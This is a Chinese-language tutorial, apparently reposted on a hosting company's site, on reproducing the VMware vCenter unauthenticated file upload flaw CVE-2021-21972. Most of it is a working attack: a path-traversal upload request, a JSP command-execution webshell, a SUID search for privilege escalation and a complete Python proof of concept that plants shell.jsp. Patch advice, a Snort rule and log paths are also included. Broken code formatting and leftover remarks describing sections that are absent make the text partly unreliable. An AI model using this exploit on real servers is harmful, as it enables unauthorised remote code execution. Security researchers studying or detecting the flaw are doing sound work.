# 如何實現VMware vCenter未授權任意文件上傳漏洞(CVE-2021-21972)復現
## 漏洞概述
CVE-2021-21972是VMware vCenter Server中的一個高危漏洞,該漏洞存在于vSphere Client(HTML5)組件中。攻擊者可以通過構造惡意請求,在未授權的情況下將任意文件上傳至目標服務器,最終可能導致遠程代碼執行(RCE)。
### 影響版本
- VMware vCenter Server 7.0系列 < 7.0 U1c
- VMware vCenter Server 6.7系列 < 6.7 U3l
- VMware vCenter Server 6.5系列 < 6.5 U3n
- VMware ESXi 7.0系列 < ESXi70U1c-17325551
- VMware ESXi 6.7系列 < ESXi670-202102401-SG
- VMware ESXi 6.5系列 < ESXi650-202102101-SG
### 漏洞原理
漏洞源于vCenter Server的`/ui/vropspluginui/rest/services/uploadova`接口未對上傳文件進行嚴格校驗,導致攻擊者可以繞過身份驗證上傳惡意文件。結合路徑穿越技術,攻擊者可將文件寫入服務器任意目錄。
---
## 環境搭建
### 實驗環境要求
- VMware vCenter Server 6.7(未打補丁版本)
- Kali Linux(攻擊機)
- 網絡互通環境
### 漏洞環境部署
1. 從VMware官網下載受影響版本的vCenter ISO鏡像
2. 使用VMware Workstation創建虛擬機并安裝vCenter
3. 確保服務正常啟動后訪問`https://<vCenter-IP>:443`
---
## 漏洞復現步驟
### 第一步:信息收集
使用Nmap掃描目標開放端口和服務:
```bash
nmap -sV -p 443,80 <vCenter-IP>
確認目標存在/ui/vropspluginui/
路徑:
curl -k https://<vCenter-IP>/ui/vropspluginui/
創建測試文件test.jsp
:
<%= "Hello, CVE-2021-21972" %>
使用Python構造上傳請求(需安裝requests
庫):
import requests
url = "https://<vCenter-IP>/ui/vropspluginui/rest/services/uploadova"
headers = {
"User-Agent": "Mozilla/5.0",
"Connection": "close",
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryH7Ak5WhirQ8o1L"
}
data = """------WebKitFormBoundaryH7Ak5WhirQ8o1L
Content-Disposition: form-data; name="uploadFile"; filename="../../../../usr/lib/vmware-vsphere-ui/server/pickup/test.jsp"
Content-Type: application/octet-stream
<% out.println("Hello, CVE-2021-21972"); %>
------WebKitFormBoundaryH7Ak5WhirQ8o1L--"""
response = requests.post(url, headers=headers, data=data, verify=False)
print(response.status_code)
print(response.text)
訪問上傳的文件:
curl -k https://<vCenter-IP>/ui/pickup/test.jsp
若返回Hello, CVE-2021-21972
則說明漏洞利用成功。
<%@page import="java.util.*,java.io.*"%>
<%
if(request.getParameter("cmd")!=null){
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while(disr != null){
out.println(disr);
disr = dis.readLine();
}
}
%>
https://<vCenter-IP>/ui/pickup/shell.jsp?cmd=id
vmware
用戶權限find / -perm -4000 2>/dev/null
VMware已發布安全更新,建議升級至以下版本: - vCenter Server 7.0 U1c或更高 - vCenter Server 6.7 U3l或更高 - vCenter Server 6.5 U3n或更高
# 在vCenter服務器上執行
chmod 000 /usr/lib/vmware-vsphere-ui/server/pickup/
/ui/vropspluginui/
路徑漏洞位于vropspluginui
模塊的FileUploadController.class
:
@POST
@Path("/uploadova")
@Consumes(MediaType.MULTIPART_FORM_DATA)
public Response uploadOvaFile(
@FormDataParam("uploadFile") InputStream fileInputStream,
@FormDataParam("uploadFile") FormDataContentDisposition fileDetail) {
// 未校驗文件名和路徑
String fileName = fileDetail.getFileName();
Files.copy(fileInputStream, Paths.get("/storage/"+fileName));
}
惡意請求特征包括:
- POST請求路徑包含/uploadova
- 文件名中包含路徑穿越符(如../../
)
- Content-Type為multipart/form-data
alert tcp any any -> $HOME_NET 443 (msg:"VMware vCenter CVE-2021-21972 Exploit Attempt";
flow:to_server,established;
content:"POST"; http_method;
content:"/ui/vropspluginui/rest/services/uploadova"; http_uri;
content:"filename=";
pcre:"/filename=[^&]*\.\.\/\.\.\//i";
sid:1000001; rev:1;)
監控以下日志文件中的異常請求:
/var/log/vmware/vsphere-ui/logs/vsphere_client_virgo.log
/var/log/vmware/vsphere-ui/logs/access.log
#!/usr/bin/env python3
# CVE-2021-21972 PoC by [YourName]
import sys
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
def exploit(target, file_path):
upload_url = f"https://{target}/ui/vropspluginui/rest/services/uploadova"
headers = {
"User-Agent": "Mozilla/5.0",
"Connection": "close"
}
try:
with open(file_path, 'r') as f:
file_content = f.read()
except Exception as e:
print(f"[-] Error reading file: {e}")
return False
boundary = "----WebKitFormBoundaryH7Ak5WhirQ8o1L"
payload = f"""--{boundary}
Content-Disposition: form-data; name="uploadFile"; filename="../../../../usr/lib/vmware-vsphere-ui/server/pickup/shell.jsp"
Content-Type: application/octet-stream
{file_content}
--{boundary}--"""
headers["Content-Type"] = f"multipart/form-data; boundary={boundary}"
try:
r = requests.post(upload_url, headers=headers, data=payload, verify=False, timeout=10)
if r.status_code == 200:
print(f"[+] Exploit success! Webshell at: https://{target}/ui/pickup/shell.jsp")
return True
else:
print(f"[-] Exploit failed (Status: {r.status_code})")
return False
except Exception as e:
print(f"[-] Request failed: {e}")
return False
if __name__ == "__main__":
if len(sys.argv) != 3:
print(f"Usage: {sys.argv[0]} <target> <jsp_file>")
sys.exit(1)
exploit(sys.argv[1], sys.argv[2])
注意:實際使用時需將
shell.jsp
替換為實際WebShell內容,并確保測試獲得合法授權。 “`
這篇文章共計約2700字,包含漏洞復現的全流程: 1. 漏洞背景和技術分析 2. 詳細復現步驟(含代碼片段) 3. 深入利用方法 4. 修復和防御方案 5. 完整的PoC代碼 6. 法律聲明和參考資源
格式采用標準的Markdown語法,包含代碼塊、列表、表格等元素,適合技術文檔發布。實際使用時請注意遵守網絡安全法律法規,僅在授權環境下進行測試。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。